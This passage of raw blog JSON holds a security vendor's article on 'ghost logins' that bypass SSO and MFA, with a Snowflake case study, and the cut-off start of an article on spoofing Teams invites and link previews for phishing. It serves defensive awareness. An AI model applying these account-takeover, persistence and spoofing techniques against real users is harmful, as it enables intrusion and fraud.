undetected.",{"data":36761,"content":36762,"nodeType":866},{},[36763],{"data":36764,"marks":36765,"value":36766,"nodeType":865},{},[],"To be able to identify them, you’d need to log into the app admin dashboard. But depending on how the app was adopted, you (as a security admin) may not even be an app-level admin — it’s not unusual for individual teams to administer their own apps. And even if you do have access, it’s not always easy (or possible) to gather this level of information about user account configuration. ",{"data":36768,"content":36769,"nodeType":866},{},[36770],{"data":36771,"marks":36772,"value":36773,"nodeType":865},{},[],"It’s very easy to see how these vulnerable login methods can be overlooked by security teams – let’s look at how they can be identified and exploited by attackers. ",{"data":36775,"content":36776,"nodeType":953},{},[36777],{"data":36778,"marks":36779,"value":36780,"nodeType":865},{},[],"How can ghost logins be exploited by attackers?",{"data":36782,"content":36783,"nodeType":866},{},[36784,36789],{"data":36785,"marks":36786,"value":36788,"nodeType":865},{},[36787],{"type":935},"Let’s take an example scenario:",{"data":36790,"marks":36791,"value":36792,"nodeType":865},{},[]," You’re using an IdP solution like Okta or Microsoft/Entra with SAML SSO as the default login method for your core business apps. Via your IdP you require MFA when authenticating to your IdP apps page, and also potentially when signing into an individual connected app. ",{"data":36794,"content":36795,"nodeType":866},{},[36796],{"data":36797,"marks":36798,"value":36799,"nodeType":865},{},[],"However, you only recently introduced your IdP solution, and your users previously accessed this app with a local username and password. Although you asked your users to configure MFA in the app itself, not all of them did. And when you deployed your IdP solution, you didn’t manually unset all the local password-based logins for the apps you connected to it. ",{"data":36801,"content":36802,"nodeType":866},{},[36803],{"data":36804,"marks":36805,"value":36807,"nodeType":865},{},[36806],{"type":935},"Unknown to you, there are now hundreds of local accounts for core business apps which lack MFA. ",{"data":36809,"content":36810,"nodeType":866},{},[36811],{"data":36812,"marks":36813,"value":36814,"nodeType":865},{},[],"There are two main scenarios in which ghost logins can be utilized by an attacker:",{"data":36816,"content":36817,"nodeType":2374},{},[36818,36833],{"data":36819,"content":36820,"nodeType":2309},{},[36821],{"data":36822,"content":36823,"nodeType":866},{},[36824,36829],{"data":36825,"marks":36826,"value":36828,"nodeType":865},{},[36827],{"type":935},"To bypass robustly configured login methods",{"data":36830,"marks":36831,"value":36832,"nodeType":865},{},[]," such as SSO to compromise an app identity during the initial access phase of an attack. ",{"data":36834,"content":36835,"nodeType":2309},{},[36836],{"data":36837,"content":36838,"nodeType":866},{},[36839,36844],{"data":36840,"marks":36841,"value":36843,"nodeType":865},{},[36842],{"type":935},"To create additional login methods for an already compromised account to ensure persistent access",{"data":36845,"marks":36846,"value":36847,"nodeType":865},{},[]," – even if the original compromised login method is revoked or disabled. This could be either the result of compromising an identity belonging to a specific app, or having previously compromised an IdP account (e.g. Okta).",{"data":36849,"content":36850,"nodeType":866},{},[36851],{"data":36852,"marks":36853,"value":36854,"nodeType":865},{},[],"Let's look at these use cases in more detail. ",{"data":36856,"content":36857,"nodeType":1229},{},[36858],{"data":36859,"marks":36860,"value":36861,"nodeType":865},{},[],"Ghost logins for initial access",{"data":36863,"content":36864,"nodeType":866},{},[36865],{"data":36866,"marks":36867,"value":36868,"nodeType":865},{},[],"Arguably the most dangerous use case for ghost logins is to conduct credential attacks against accounts using a username and password. Logins with a weak or guessable password, or a reused password that has appeared in a public data breach dump, are primed for account takeover. ",{"data":36870,"content":36871,"nodeType":866},{},[36872],{"data":36873,"marks":36874,"value":36875,"nodeType":865},{},[],"The cyber crime ecosystem is leaning toward the theft, sale, and use of stolen credentials (not just emails and passwords, but session tokens too). ",{"data":36877,"content":36878,"nodeType":2374},{},[36879,36900,36919],{"data":36880,"content":36881,"nodeType":2309},{},[36882],{"data":36883,"content":36884,"nodeType":866},{},[36885,36889,36897],{"data":36886,"marks":36887,"value":36888,"nodeType":865},{},[],"There are 600 million identity attacks per day, with 99% involving passwords (",{"data":36890,"content":36892,"nodeType":889},{"uri":36891},"https://cdn-dynmedia-1.microsoft.com/is/content/microsoftcorp/microsoft/final/en-us/microsoft-brand/documents/Microsoft%20Digital%20Defense%20Report%202024%20%281%29.pdf",[36893],{"data":36894,"marks":36895,"value":6523,"nodeType":865},{},[36896],{"type":1191},{"data":36898,"marks":36899,"value":27551,"nodeType":865},{},[],{"data":36901,"content":36902,"nodeType":2309},{},[36903],{"data":36904,"content":36905,"nodeType":866},{},[36906,36909,36916],{"data":36907,"marks":36908,"value":34340,"nodeType":865},{},[],{"data":36910,"content":36911,"nodeType":889},{"uri":34343},[36912],{"data":36913,"marks":36914,"value":34349,"nodeType":865},{},[36915],{"type":1191},{"data":36917,"marks":36918,"value":27551,"nodeType":865},{},[],{"data":36920,"content":36921,"nodeType":2309},{},[36922],{"data":36923,"content":36924,"nodeType":866},{},[36925,36928,36935],{"data":36926,"marks":36927,"value":34275,"nodeType":865},{},[],{"data":36929,"content":36930,"nodeType":889},{"uri":34278},[36931],{"data":36932,"marks":36933,"value":34284,"nodeType":865},{},[36934],{"type":1191},{"data":36936,"marks":36937,"value":27551,"nodeType":865},{},[],{"data":36939,"content":36940,"nodeType":866},{},[36941],{"data":36942,"marks":36943,"value":36945,"nodeType":865},{},[36944],{"type":935},"So, it’s easier than ever for attackers to gather breached credentials and weaponize them at scale. ",{"data":36947,"content":36948,"nodeType":866},{},[36949],{"data":36950,"marks":36951,"value":36952,"nodeType":865},{},[],"Realistically, any username and password combination for addresses belonging to a specific organization/domain can be attempted on any app. Breached credential data will often provide a strong indicator of other apps also in use for that organization. And for apps with a custom tenant URL (that cannot be easily guessed) data dumps often helpfully include the URLs for those login pages, too.  ",{"data":36954,"content":36955,"nodeType":866},{},[36956],{"data":36957,"marks":36958,"value":36959,"nodeType":865},{},[],"The risk posed by the massive amounts of leaked credentials available is heightened because: ",{"data":36961,"content":36962,"nodeType":2374},{},[36963,36984],{"data":36964,"content":36965,"nodeType":2309},{},[36966],{"data":36967,"content":36968,"nodeType":866},{},[36969,36973,36980],{"data":36970,"marks":36971,"value":36972,"nodeType":865},{},[],"Many employees reuse passwords, with ",{"data":36974,"content":36975,"nodeType":889},{"uri":31735},[36976],{"data":36977,"marks":36978,"value":36979,"nodeType":865},{},[],"~9% of all accounts using a breached, weak, or reused password",{"data":36981,"marks":36982,"value":36983,"nodeType":865},{},[],". This isn’t just for low-risk apps either, and includes the reuse of highly sensitive IdP creds. ",{"data":36985,"content":36986,"nodeType":2309},{},[36987],{"data":36988,"content":36989,"nodeType":866},{},[36990],{"data":36991,"marks":36992,"value":36993,"nodeType":865},{},[],"Organizations don’t typically rotate or enforce changes to SaaS app passwords in the same way they might for company account/device login connected to Active Directory.  ",{"data":36995,"content":36996,"nodeType":866},{},[36997],{"data":36998,"marks":36999,"value":37000,"nodeType":865},{},[],"Ghost logins aren’t limited to just username and password either. For example, a breached social account such as Facebook or Google can result in a broader compromise if those accounts have been connected to any corporate apps.   ",{"data":37002,"content":37003,"nodeType":866},{},[37004],{"data":37005,"marks":37006,"value":37008,"nodeType":865},{},[37007],{"type":935},"So, exploiting ghost logins can be a highly effective method for attackers to gain initial access to a user account from which to launch further attacks.  ",{"data":37010,"content":37011,"nodeType":1229},{},[37012],{"data":37013,"marks":37014,"value":37015,"nodeType":865},{},[],"Ghost logins for persistence and defense evasion",{"data":37017,"content":37018,"nodeType":866},{},[37019],{"data":37020,"marks":37021,"value":37022,"nodeType":865},{},[],"Now, we’ll take a look at how attackers can leverage ghost logins as part of the later stages of an attack, having already established an initial foothold via account compromise. ",{"data":37024,"content":37025,"nodeType":866},{},[37026,37030],{"data":37027,"marks":37028,"value":37029,"nodeType":865},{},[],"If an organization has a reasonable level of security monitoring in-place (depending on log availability from the particular app vendor), or a victim receives a notification about an unusual login (e.g. from a new device or unusual IP) then access to an account can be short-lived. ",{"data":37031,"marks":37032,"value":37034,"nodeType":865},{},[37033],{"type":935},"However, ghost logins can provide attackers with the tools to maintain persistent access to a compromised account, even if the initial compromised login method is disabled or revoked. ",{"data":37036,"content":37037,"nodeType":866},{},[37038,37042,37047],{"data":37039,"marks":37040,"value":37041,"nodeType":865},{},[],"For example, if a social login is used to access an account, an adversary may be able to configure a separate username/password login, or even (though much less commonly) connect a second social account that the adversary controls. This allows the adversary to maintain persistent access to the user account ",{"data":37043,"marks":37044,"value":37046,"nodeType":865},{},[37045],{"type":935},"even in the event of password changes or MFA changes",{"data":37048,"marks":37049,"value":37050,"nodeType":865},{},[],". The attack will go unnoticed if the victim organization relies on SSO logs for auditing access to SaaS applications because the attack bypasses SSO, as the login remains local to the SaaS app or, in the case of an OIDC SSO login, the adversary’s own social account.",{"data":37052,"content":37053,"nodeType":866},{},[37054,37058,37065,37069,37077],{"data":37055,"marks":37056,"value":37057,"nodeType":865},{},[],"Another quirk is that it’s common for ordinary users to become app-level admins when an app is self-adopted by an individual or team. If an attacker is able to gain control of such an account, it can then be used to target other users without needing to deliver phishing links by hijacking SAML-based authentication. In this scenario, users attempting to sign in using SAML SSO are directed it to an attacker-controlled tenant in a watering hole attack (also known as ",{"data":37059,"content":37060,"nodeType":889},{"uri":25619},[37061],{"data":37062,"marks":37063,"value":25625,"nodeType":865},{},[37064],{"type":1191},{"data":37066,"marks":37067,"value":37068,"nodeType":865},{},[],", which you can ",{"data":37070,"content":37071,"nodeType":889},{"uri":31010},[37072],{"data":37073,"marks":37074,"value":37076,"nodeType":865},{},[37075],{"type":1191},"read more about in another blog post",{"data":37078,"marks":37079,"value":17620,"nodeType":865},{},[],{"data":37081,"content":37082,"nodeType":866},{},[37083,37087,37095],{"data":37084,"marks":37085,"value":37086,"nodeType":865},{},[],"If you're curious as to how an attacker might be able to compromise an IdP account such as Okta, ",{"data":37088,"content":37089,"nodeType":889},{"uri":35030},[37090],{"data":37091,"marks":37092,"value":37094,"nodeType":865},{},[37093],{"type":1191},"you should check out our blog post on AitM and BitM phishing techniques",{"data":37096,"marks":37097,"value":27880,"nodeType":865},{},[],{"data":37099,"content":37100,"nodeType":953},{},[37101],{"data":37102,"marks":37103,"value":37104,"nodeType":865},{},[],"Case study: Snowflake",{"data":37106,"content":37107,"nodeType":866},{},[37108,37111,37118],{"data":37109,"marks":37110,"value":2361,"nodeType":865},{},[],{"data":37112,"content":37113,"nodeType":889},{"uri":2364},[37114],{"data":37115,"marks":37116,"value":37117,"nodeType":865},{},[],"recent attacks on 165 Snowflake customers",{"data":37119,"marks":37120,"value":37121,"nodeType":865},{},[],", resulting in hundreds of millions of breached customer records, were the product of a credential stuffing campaign using stolen credentials from infostealer infections dating back to 2020. ",{"data":37123,"content":37124,"nodeType":866},{},[37125],{"data":37126,"marks":37127,"value":37128,"nodeType":865},{},[],"The industry response to Snowflake was typical: check whether Snowflake has been set up for SSO, and if so, job done — we’re protected by MFA.",{"data":37130,"content":37131,"nodeType":866},{},[37132],{"data":37133,"marks":37134,"value":37135,"nodeType":865},{},[],"The reality was that MFA was not — and could not — be centrally enforced for username and password accounts. Even if MFA was applied at the IdP level for SSO logins, it was not enforced for local username and password logins. It needed to be opted-into by the user. ",{"data":37137,"content":37138,"nodeType":866},{},[37139,37143,37151],{"data":37140,"marks":37141,"value":37142,"nodeType":865},{},[],"This meant the most logical thing to do was to disable local accounts. But because Snowflake is essentially a cloud-hosted SQL database, there was no easy-to-use GUI to access local account config data. Once you’d managed to get an admin account with the right permissions, you needed to run various commands to find and unset the accounts. ",{"data":37144,"content":37146,"nodeType":889},{"uri":37145},"https://pushsecurity.com/resources/video/demonstrating-ghost-logins-in-snowflake-and-how-to-remediate-them/",[37147],{"data":37148,"marks":37149,"value":37150,"nodeType":865},{},[],"But if you didn’t have the exact type of admin account, misleading results would be returned — and even after you had fixed the vulnerability it took hours to update the database. ",{"data":37152,"marks":37153,"value":21,"nodeType":865},{},[],{"data":37155,"content":37156,"nodeType":866},{},[37157],{"data":37158,"marks":37159,"value":37160,"nodeType":865},{},[],"This meant that organizations were exposed to these attacks for a prolonged period, and were left uncertain as to whether they had addressed the vulnerabilities or not. ",{"data":37162,"content":37163,"nodeType":953},{},[37164],{"data":37165,"marks":37166,"value":37167,"nodeType":865},{},[],"Using Push to find and fix ghost logins across your app inventory",{"data":37169,"content":37170,"nodeType":866},{},[37171],{"data":37172,"marks":37173,"value":37174,"nodeType":865},{},[],"Finding and fixing ghost logins is a challenge for most organizations. Since you can’t rely on the view provided by your IdP, you need to:",{"data":37176,"content":37177,"nodeType":2374},{},[37178,37188,37198],{"data":37179,"content":37180,"nodeType":2309},{},[37181],{"data":37182,"content":37183,"nodeType":866},{},[37184],{"data":37185,"marks":37186,"value":37187,"nodeType":865},{},[],"Discover the apps in use across your organization",{"data":37189,"content":37190,"nodeType":2309},{},[37191],{"data":37192,"content":37193,"nodeType":866},{},[37194],{"data":37195,"marks":37196,"value":37197,"nodeType":865},{},[],"Get admin rights, audit each app, and unset any local credentials (enforcing MFA at the app-level too if you can, for good measure)",{"data":37199,"content":37200,"nodeType":2309},{},[37201],{"data":37202,"content":37203,"nodeType":866},{},[37204],{"data":37205,"marks":37206,"value":37207,"nodeType":865},{},[],"Configure the app to prevent local accounts being created (again, if possible)",{"data":37209,"content":37210,"nodeType":866},{},[37211],{"data":37212,"marks":37213,"value":37214,"nodeType":865},{},[],"Not only is this a sisyphean task with continually moving goalposts, but depending on which apps you use, and how they’ve been designed, it may not be possible to remediate every instance of ghost logins. For that reason, it’s important to also invest in your identity threat detection and response capabilities — for when, not if, an account takeover attempt occurs. ",{"data":37216,"content":37217,"nodeType":866},{},[37218,37222,37230],{"data":37219,"marks":37220,"value":37221,"nodeType":865},{},[],"Push helps organizations to defend against ghost logins and other identity threats with a defense-in-depth approach: Using a browser-based agent to generate visibility of all logins (not just via IdP logs) while also detecting, intercepting, and shutting down account takeover attempts via phishing, credential stuffing, and session hijacking. ",{"data":37223,"content":37224,"nodeType":889},{"uri":33469},[37225],{"data":37226,"marks":37227,"value":37229,"nodeType":865},{},[37228],{"type":1191},"Learn more here.",{"data":37231,"marks":37232,"value":21,"nodeType":865},{},[],{"data":37234,"content":37235,"nodeType":866},{},[37236,37240,37248],{"data":37237,"marks":37238,"value":37239,"nodeType":865},{},[],"And if you'd like to learn more about ghost logins and other identity attack techniques, ",{"data":37241,"content":37243,"nodeType":889},{"uri":37242},"https://github.com/pushsecurity/saas-attacks?tab=readme-ov-file",[37244],{"data":37245,"marks":37246,"value":37247,"nodeType":865},{},[],"check out the SaaS attack matrix on GitHub",{"data":37249,"marks":37250,"value":4835,"nodeType":865},{},[],{"data":37252,"content":37256,"nodeType":921},{"target":37253},{"sys":37254},{"id":37255,"type":918,"linkType":919},"1VMpMgZvx9hgps2OoxCTmF",[],{"data":37258,"content":37259,"nodeType":866},{},[37260],{"data":37261,"marks":37262,"value":21,"nodeType":865},{},[],"Ghost logins: When forgotten identities come back to haunt you","How ghost logins can be used by cyber attackers for account takeover and persistence.","2024-07-10T00:00:00.000Z","ghost-logins-when-forgotten-identities-come-back-to-haunt-you",{"items":37268},[37269,37271],{"sys":37270,"name":2663},{"id":2662},{"sys":37272,"name":342},{"id":2666},{"items":37274},[37275],{"fullName":2670,"firstName":2671,"jobTitle":2672,"profilePicture":37276},{"url":2674},"what-the-rise-of-infostealers-says-about-identity-attacks","blog/what-the-rise-of-infostealers-says-about-identity-attacks",{"json":37280},{"data":37281,"content":37282,"nodeType":1663},{},[37283],{"data":37284,"content":37285,"nodeType":866},{},[37286],{"data":37287,"marks":37288,"value":37289,"nodeType":865},{},[],"Infostealers seem to have become an overnight celebrity, having been previously shrugged off by enterprises with bigger fish to fry. The reality is that infostealers haven’t necessarily changed – but the world that they inhabit and how stolen data is used has.  ","What the rise in popularity of infostealers tells us about the cybercrime ecosystem and the shift toward identity attacks. ",{"id":37292,"publishedAt":37293},"4OrixXXLxRmSDxa7PF9gfM","2026-08-12T11:55:07.366Z",{"items":37295},[37296,37298],{"sys":37297,"name":2663},{"id":2662},{"sys":37299,"name":342},{"id":2666},{"items":37301},[37302,37304,37306,37308,37310,37312,37314,37316,37318,37320,37322,37324,37326,37328,37330,37332,37334,37336,37338],{"sys":37303,"name":279,"slug":280,"tier":31},{"id":276},{"sys":37305,"name":413,"slug":414,"tier":31},{"id":410},{"sys":37307,"name":642,"slug":643,"tier":31},{"id":639},{"sys":37309,"name":342,"slug":343,"tier":31},{"id":339},{"sys":37311,"name":519,"slug":520,"tier":31},{"id":516},{"sys":37313,"name":422,"slug":423,"tier":45},{"id":419},{"sys":37315,"name":333,"slug":334,"tier":45},{"id":330},{"sys":37317,"name":404,"slug":405,"tier":45},{"id":401},{"sys":37319,"name":571,"slug":572,"tier":45},{"id":568},{"sys":37321,"name":395,"slug":396,"tier":45},{"id":392},{"sys":37323,"name":448,"slug":449,"tier":45},{"id":445},{"sys":37325,"name":377,"slug":378,"tier":45},{"id":374},{"sys":37327,"name":528,"slug":529,"tier":45},{"id":525},{"sys":37329,"name":440,"slug":441,"tier":45},{"id":437},{"sys":37331,"name":502,"slug":503,"tier":45},{"id":499},{"sys":37333,"name":457,"slug":458,"tier":45},{"id":454},{"sys":37335,"name":537,"slug":538,"tier":45},{"id":534},{"sys":37337,"name":633,"slug":634,"tier":45},{"id":630},{"sys":37339,"name":607,"slug":608,"tier":45},{"id":604},"boUmh78SvCFSf6ZZgGkEQDAnKYwTjYN1VqCF_IIHTHc",{"id":37342,"title":37343,"authorsCollection":37344,"content":37350,"extension":228,"faqItemsCollection":38162,"faqTitle":59,"featured":6,"hashTags":59,"meta":38164,"metaTitle":38165,"ogImage":59,"postType":1797,"publishedDate":38166,"relatedBlogPostsCollection":38167,"slug":38169,"stem":38170,"subtitle":59,"summary":38171,"synopsis":38182,"sys":38183,"tagsCollection":38186,"topicsCollection":38192,"__hash__":38212},"blog/blog/phishing-microsoft-teams-for-initial-access.json","Phishing Microsoft Teams for initial access",{"items":37345},[37346],{"fullName":9299,"firstName":9300,"jobTitle":9301,"socialLinks":37347,"profilePicture":37349},[37348],"https://www.linkedin.com/in/luke-jennings-042b5619b/",{"url":9303},{"json":37351,"links":38061},{"data":37352,"content":37353,"nodeType":1663},{},[37354,37361,37410,37417,37424,37467,37474,37482,37489,37496,37503,37510,37543,37550,37595,37601,37608,37615,37622,37629,37636,37643,37650,37657,37663,37669,37676,37683,37689,37696,37703,37710,37717,37724,37749,37756,37763,37770,37777,37783,37790,37796,37803,37810,37816,37823,37831,37838,37845,37851,37858,37864,37871,37878,37885,37892,37899,37905,37911,37918,37925,37931,37938,37945,37952,37959,37965,37972,37979,38022,38028,38035,38042,38049,38055],{"data":37355,"content":37356,"nodeType":866},{},[37357],{"data":37358,"marks":37359,"value":37360,"nodeType":865},{},[],"We previously wrote two articles about phishing via Slack, the first for the initial access kill chain phase and the second for lateral movement and persistence. For those interested, the links are below:",{"data":37362,"content":37363,"nodeType":2374},{},[37364,37387],{"data":37365,"content":37366,"nodeType":2309},{},[37367],{"data":37368,"content":37369,"nodeType":866},{},[37370,37373,37384],{"data":37371,"marks":37372,"value":21,"nodeType":865},{},[],{"data":37374,"content":37378,"nodeType":11114},{"target":37375},{"sys":37376},{"id":37377,"type":918,"linkType":919},"2rjLrCo6KWwLicfpV2qTOZ",[37379],{"data":37380,"marks":37381,"value":37383,"nodeType":865},{},[37382],{"type":1191},"Phishing through Slack for initial access",{"data":37385,"marks":37386,"value":21,"nodeType":865},{},[],{"data":37388,"content":37389,"nodeType":2309},{},[37390],{"data":37391,"content":37392,"nodeType":866},{},[37393,37396,37407],{"data":37394,"marks":37395,"value":21,"nodeType":865},{},[],{"data":37397,"content":37401,"nodeType":11114},{"target":37398},{"sys":37399},{"id":37400,"type":918,"linkType":919},"1hU7XNIizp4vQXsiiQmqvI",[37402],{"data":37403,"marks":37404,"value":37406,"nodeType":865},{},[37405],{"type":1191},"Phishing Slack for lateral movement and persistence",{"data":37408,"marks":37409,"value":21,"nodeType":865},{},[],{"data":37411,"content":37412,"nodeType":866},{},[37413],{"data":37414,"marks":37415,"value":37416,"nodeType":865},{},[],"Some readers asked what this looks like for Microsoft Teams and so we decided to write this article to show what similar attacks look like via Teams.",{"data":37418,"content":37419,"nodeType":866},{},[37420],{"data":37421,"marks":37422,"value":37423,"nodeType":865},{},[],"We’ll primarily be using the following SaaS attack techniques chained together:",{"data":37425,"content":37426,"nodeType":2374},{},[37427,37447],{"data":37428,"content":37429,"nodeType":2309},{},[37430],{"data":37431,"content":37432,"nodeType":866},{},[37433,37436,37444],{"data":37434,"marks":37435,"value":21,"nodeType":865},{},[],{"data":37437,"content":37439,"nodeType":889},{"uri":37438},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/im_phishing/description.md",[37440],{"data":37441,"marks":37442,"value":37443,"nodeType":865},{},[],"SAT1018 - IM phishing",{"data":37445,"marks":37446,"value":21,"nodeType":865},{},[],{"data":37448,"content":37449,"nodeType":2309},{},[37450],{"data":37451,"content":37452,"nodeType":866},{},[37453,37456,37464],{"data":37454,"marks":37455,"value":21,"nodeType":865},{},[],{"data":37457,"content":37459,"nodeType":889},{"uri":37458},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/im_user_spoofing/description.md",[37460],{"data":37461,"marks":37462,"value":37463,"nodeType":865},{},[],"SAT1019 - IM user spoofing",{"data":37465,"marks":37466,"value":21,"nodeType":865},{},[],{"data":37468,"content":37469,"nodeType":953},{},[37470],{"data":37471,"marks":37472,"value":37473,"nodeType":865},{},[],"Why focus on instant messengers?",{"data":37475,"content":37476,"nodeType":866},{},[37477],{"data":37478,"marks":37479,"value":37481,"nodeType":865},{},[37480],{"type":965},"If you’ve read either of the previous articles on Slack, you can skip this introductory piece and jump straight to the next section.",{"data":37483,"content":37484,"nodeType":866},{},[37485],{"data":37486,"marks":37487,"value":37488,"nodeType":865},{},[],"They aren’t new, however, the original focus of IM apps was on internal communication and phishing and social engineering attacks are often external. Email remained the standards-based protocol that enabled external communication no matter what email vendor was in use. In recent years, however, instant messengers (IM) have become the primary method of communication for many businesses. I wanted to focus on IM here because if that’s where employees are communicating, it’s the best place to launch attacks against them. Even better, there’s a history of users placing a higher degree of trust in IM platforms than email, so it becomes a potentially easy target.",{"data":37490,"content":37491,"nodeType":866},{},[37492],{"data":37493,"marks":37494,"value":37495,"nodeType":865},{},[],"While IM platforms were initially used solely for internal communications, organizations quickly realized that IM platforms could be used to communicate with external groups, individuals, freelancers, and contractors, with the hope of fewer emails and more instant communications. ",{"data":37497,"content":37498,"nodeType":866},{},[37499],{"data":37500,"marks":37501,"value":37502,"nodeType":865},{},[],"We now have Slack Connect and Microsoft Teams external access to support this, with Slack Connect introduced in June 2020 and Teams introducing it in January 2022. This external access has increased the attack surface of these platforms considerably.",{"data":37504,"content":37505,"nodeType":866},{},[37506],{"data":37507,"marks":37508,"value":37509,"nodeType":865},{},[],"Despite decades of security research, email security appliances and user security training, email-based phishing and social engineering is still commonly successful. Now we have instant messenger platforms with:",{"data":37511,"content":37512,"nodeType":2374},{},[37513,37523,37533],{"data":37514,"content":37515,"nodeType":2309},{},[37516],{"data":37517,"content":37518,"nodeType":866},{},[37519],{"data":37520,"marks":37521,"value":37522,"nodeType":865},{},[],"Richer functionality than email, ",{"data":37524,"content":37525,"nodeType":2309},{},[37526],{"data":37527,"content":37528,"nodeType":866},{},[37529],{"data":37530,"marks":37531,"value":37532,"nodeType":865},{},[],"Lacking centralized security gateways and other security controls common to email and ",{"data":37534,"content":37535,"nodeType":2309},{},[37536],{"data":37537,"content":37538,"nodeType":866},{},[37539],{"data":37540,"marks":37541,"value":37542,"nodeType":865},{},[],"Unfamiliar as a threat vector to your average user compared with email. ",{"data":37544,"content":37545,"nodeType":866},{},[37546],{"data":37547,"marks":37548,"value":37549,"nodeType":865},{},[],"There’s also a sense of urgency associated with IM messages due to the conversational nature compared with emails. Combined with a history of increased trust, we have the ingredients for increased social engineering success.",{"data":37551,"content":37552,"nodeType":866},{},[37553,37557,37566,37570,37579,37583,37592],{"data":37554,"marks":37555,"value":37556,"nodeType":865},{},[],"There’s been an uptick recently in IM-based phishing research and real-world attacks, particularly for Microsoft Teams. For example, check out the ",{"data":37558,"content":37560,"nodeType":889},{"uri":37559},"https://labs.jumpsec.com/advisory-idor-in-microsoft-teams-allows-for-external-tenants-to-introduce-malware/",[37561],{"data":37562,"marks":37563,"value":37565,"nodeType":865},{},[37564],{"type":1191},"great research from JumpSec",{"data":37567,"marks":37568,"value":37569,"nodeType":865},{},[]," on bypassing attachment protection for external Teams messages, the offensive tool ",{"data":37571,"content":37573,"nodeType":889},{"uri":37572},"https://github.com/Octoberfest7/TeamsPhisher",[37574],{"data":37575,"marks":37576,"value":37578,"nodeType":865},{},[37577],{"type":1191},"TeamsPhisher",{"data":37580,"marks":37581,"value":37582,"nodeType":865},{},[]," and attacks distributing ",{"data":37584,"content":37586,"nodeType":889},{"uri":37585},"https://www.bleepingcomputer.com/news/security/microsoft-teams-phishing-attack-pushes-darkgate-malware/",[37587],{"data":37588,"marks":37589,"value":37591,"nodeType":865},{},[37590],{"type":1191},"DarkGate malware via Teams",{"data":37593,"marks":37594,"value":1066,"nodeType":865},{},[],{"data":37596,"content":37600,"nodeType":921},{"target":37597},{"sys":37598},{"id":37599,"type":918,"linkType":919},"6iKFd9Qys2SSuNqKVQB7ka",[],{"data":37602,"content":37603,"nodeType":953},{},[37604],{"data":37605,"marks":37606,"value":37607,"nodeType":865},{},[],"IM user spoofing",{"data":37609,"content":37610,"nodeType":866},{},[37611],{"data":37612,"marks":37613,"value":37614,"nodeType":865},{},[],"The first consideration is the spoofing aspect. We’ve all seen techniques for spoofing emails, but there are many security controls like Sender Policy Framework (SPF) that can prevent direct spoofing of domains and email security gateways that can flag suspicious domains.",{"data":37616,"content":37617,"nodeType":866},{},[37618],{"data":37619,"marks":37620,"value":37621,"nodeType":865},{},[],"Those security controls don’t exist for IM, so we have new options for spoofing.",{"data":37623,"content":37624,"nodeType":1229},{},[37625],{"data":37626,"marks":37627,"value":37628,"nodeType":865},{},[],"External IM invites",{"data":37630,"content":37631,"nodeType":866},{},[37632],{"data":37633,"marks":37634,"value":37635,"nodeType":865},{},[],"IM applications often make use of friendly display names for organization and employee names as well as user-chosen handles. These often don’t need to be unique either. One interesting aspect with Microsoft Teams is the behavior of this differs depending on if the external message request is received from a Teams organization or an individual Microsoft account user using Teams. ",{"data":37637,"content":37638,"nodeType":1229},{},[37639],{"data":37640,"marks":37641,"value":37642,"nodeType":865},{},[],"External invite from individual Microsoft account",{"data":37644,"content":37645,"nodeType":866},{},[37646],{"data":37647,"marks":37648,"value":37649,"nodeType":865},{},[],"When messaging from an individual Microsoft account, we can choose the name to represent ourselves but we can’t choose an organization name. ",{"data":37651,"content":37652,"nodeType":866},{},[37653],{"data":37654,"marks":37655,"value":37656,"nodeType":865},{},[],"This is somewhat neutral in this case as we can’t spoof a legitimate organization name but the invite doesn’t show the real email address of the attacker’s account in this case and simply displays “External” as an indicator. Additionally, when messages are received from the external user the profile photo shown by the user does not show so we can’t spoof a known profile photo either.",{"data":37658,"content":37662,"nodeType":921},{"target":37659},{"sys":37660},{"id":37661,"type":918,"linkType":919},"zILCczBEC70U7rZCdQKTL",[],{"data":37664,"content":37668,"nodeType":921},{"target":37665},{"sys":37666},{"id":37667,"type":918,"linkType":919},"2JK0JDCZyPMF4btzGnFFHs",[],{"data":37670,"content":37671,"nodeType":1229},{},[37672],{"data":37673,"marks":37674,"value":37675,"nodeType":865},{},[],"External invite from Teams organization",{"data":37677,"content":37678,"nodeType":866},{},[37679],{"data":37680,"marks":37681,"value":37682,"nodeType":865},{},[],"On the other hand, if we initiate an external connection request from a Teams organization then we can control our organization name but this is not of use to us in this case. This is because the connection request actually shows the email address of the user account. Therefore, we need to register a convincing email domain and we are relegated back to something much closer to standard email social engineering techniques.",{"data":37684,"content":37688,"nodeType":921},{"target":37685},{"sys":37686},{"id":37687,"type":918,"linkType":919},"7anwp3Aogq28Gfl31m57Sp",[],{"data":37690,"content":37691,"nodeType":866},{},[37692],{"data":37693,"marks":37694,"value":37695,"nodeType":865},{},[],"In this case, it seems better to use an individual Microsoft account with teams to spoof external invites as it’s not easy for a target user to tell if the user or organization requesting to connect is legitimate when they first receive this invitation. ",{"data":37697,"content":37698,"nodeType":866},{},[37699],{"data":37700,"marks":37701,"value":37702,"nodeType":865},{},[],"Whatever method is used, there’s also a curiosity incentive - you can’t see a first message from the user, so it’s tempting for the target user to accept in order to see the message, even if they then ignore it. This is one case where Teams actually provides an interesting defensive ability - it’s possible for the user to preview the message that has been sent without formally accepting the invitation first.",{"data":37704,"content":37705,"nodeType":866},{},[37706],{"data":37707,"marks":37708,"value":37709,"nodeType":865},{},[],"Whilst the initial invite spoofing options with Teams are not ideal from an attacker’s perspective (Slack certainly provides more interesting spoofing capabilities) there are certainly options to experiment with and it still allows for some capabilities not possible with email spoofing, such as hiding the email address and showing a display name only.",{"data":37711,"content":37712,"nodeType":866},{},[37713],{"data":37714,"marks":37715,"value":37716,"nodeType":865},{},[],"However, all an attacker needs to do is get a first connection and they have cleared the first hurdle. They can now launch attacks either immediately or in future. The conversational nature of IM apps makes it much easier to ramp up the conversation gradually towards an actual attack using a malicious link or attachment that is more likely to succeed.",{"data":37718,"content":37719,"nodeType":953},{},[37720],{"data":37721,"marks":37722,"value":37723,"nodeType":865},{},[],"Link preview spoofing",{"data":37725,"content":37726,"nodeType":866},{},[37727,37731,37736,37740,37745],{"data":37728,"marks":37729,"value":37730,"nodeType":865},{},[],"Another key issue is link preview spoofing. HTML allows a variety of ways to specify hyperlinks. In email, secure email gateways will often alert or block commonly abused types, such as forging a different URL as the link display text to what the underlying link points to. For example, an attacker could show the link as ",{"data":37732,"marks":37733,"value":37735,"nodeType":865},{},[37734],{"type":1191},"https://www.google.com",{"data":37737,"marks":37738,"value":37739,"nodeType":865},{},[]," but direct it to 